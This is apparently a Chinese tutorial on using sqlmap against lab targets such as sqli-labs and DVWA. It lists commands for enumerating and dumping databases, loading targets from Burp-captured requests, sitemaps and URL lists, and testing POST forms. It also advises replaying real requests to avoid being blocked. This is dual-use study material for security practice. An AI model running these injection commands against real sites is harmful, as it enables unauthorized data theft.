Sqlmap URL 检测
sqlmap直接对单一的url探测,参数使用-u或--url
payload:sqlmap -u "http://192.168.10.1/sqlilabs/sqli-labs-php7-master/Less-1/?id=1" --banner
注意:如果进入这个页面要先登录那么就需要把cookie带上
sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" --banner
注意:在虚拟机上运行此命令的时候要把原来的127.0.0.1变为本机对应虚拟机的ip 192.168.10.1如图:
--banner是用来获得取目标数据库其版本信息以及其他相关信息
然后就ok了 如图:
由上图可知此题存在四种注入方式
分别是:布尔盲注,报错注入,延时注入,联合查询
sql注入常用指令:
sqlmap.py -u “注入地址” --dbs // 列举数据库 sqlmap.py -u “注入地址” --current-db // 当前数据库 sqlmap.py -u “注入地址” --users // 列数据库的用户 sqlmap.py -u “注入地址” --current–user // 当前用户 sqlmap.py -u “注入地址” -D "指定数据库" --tables// 列举指定数据库的表名 sqlmap.py -u “注入地址” -D "指定数据库" -T "指定表" --columns// 获取表的列名 sqlmap.py -u “注入地址” -D "指定数据库" -T "指定表" --dump//获取数据库下表的列信息
Sqlmap文件读取目标
sqlmap支持从不同类型的文件中读取目标进行sql注入探测
1、-r 从文本文件中读取Http请求作为sql注入探测的目标
2、-x 从sitemap.xml站点地图文件中读取目标检测
3、-m 从多行文本格式文件读取多个目标,对多个目标进行探测
1.结合burp拦截的请求包
(文本文件中的请求包是burp拦截的请求包来实现 )
它和直接使用sqlmap -u "网址" --banner的区别是直接-u所发送的请求包是sqlmap脚本自己构造的可能因为和这个网站原来的请求包不同但是 使用-r指令可以使用这个网站的请求包这样被拦截的几率就降低了
为了方便我们要先设置一下burp使请求包保存在一个文件中
如图:
按照次序依次操作最后保存文件名设置为test不用后缀
如图:
然后正常的抓包抓到后点击forward直到包被放没了
然后将我们的包拖到我们的虚拟机中(注意:如果使本机的靶场切记一定要把127.0.0.1改成我们本机对虚拟机所使用的ip)
payload:sqlmap -l test
如图即可:
如何去看ip:
ip是由一层层分配下来的前两个是针对虚拟机的ip具体是哪个可以去看一下虚拟机的网络设置便可确定
如图:
WLAN后是本机在这个局域网中所分配到的ip
2.-x 从sitemap.xml站点地图文件中读取目标检测
sqlmap -x sqmmap.xml
如何去判断一个站点是否存在站点地图文件
-
直接访问robots.txt文件:robots.txt是一个文本文件,通常位于网站的根目录下,用于指示搜索引擎爬虫访问哪些页面或不访问哪些页面。在robots.txt文件中,有时会包含站点地图文件的链接。你可以尝试访问该文件,查看是否包含了站点地图文件的链接。
-
查看网站的robots meta标签:有些网站在页面的<head>标签中使用robots meta标签来指示搜索引擎是否可以索引该页面,以及是否可以遵循页面上的链接。在robots meta标签中,有时也会包含站点地图文件的链接。
-
尝试访问默认的站点地图URL:一些网站的站点地图文件位于固定的URL路径下,比如/sitemap.xml或/sitemap_index.xml。你可以尝试直接访问这些默认的站点地图URL,查看是否存在站点地图文件。
-
使用在线工具检查:有些在线工具可以帮助你检查一个网站是否存在站点地图文件,比如XML站点地图验证器或SEO工具。你可以使用这些工具输入网站的URL,然后查看它们是否能够找到站点地图文件。
3.-m 从多行文本格式文件读取多个目标,对多个url目标进行探测
这个命令可以实现对多个url进行测试txt文件如图:
但是在使用sqlmap扫的时候有 一些操作会询问是否进行 注意进行辨别
如图:
post型表单注入的三种参数
需要先去确定是post传参可以使用burp抓包来看
1.--data
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --data="uname=1111&passwd=11111&submit=Submit" --dbs
这个代码中SQLMap 会自动检测可能存在注入漏洞的参数
2.-p --method
-p
参数用于指定要测试的参数名称;
--method
参数用于指定请求方法,此处为 POST
sqlmap -u http://target.com --data "param1=value1¶m2=value2" -p param2 --method POST
3.重要:-r 从文本文件中读取Http请求作为sql注入探测的目标
将提交的报文抓包后,把信息存储在一个txt文件中,构造下面命令;
python sqlmap.py -r 文件路径+文件名.txt --dbs
4.–forms
利用该命令,使sqlmap自己抓包,构造下面命令;
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --forms --level=5 --dbs
其中的--level=5
表示设置注入测试的级别,范围从 1 到 5 级别越高,测试的深度和精确度越高。在这里,设置为 5 表示最高级别的测试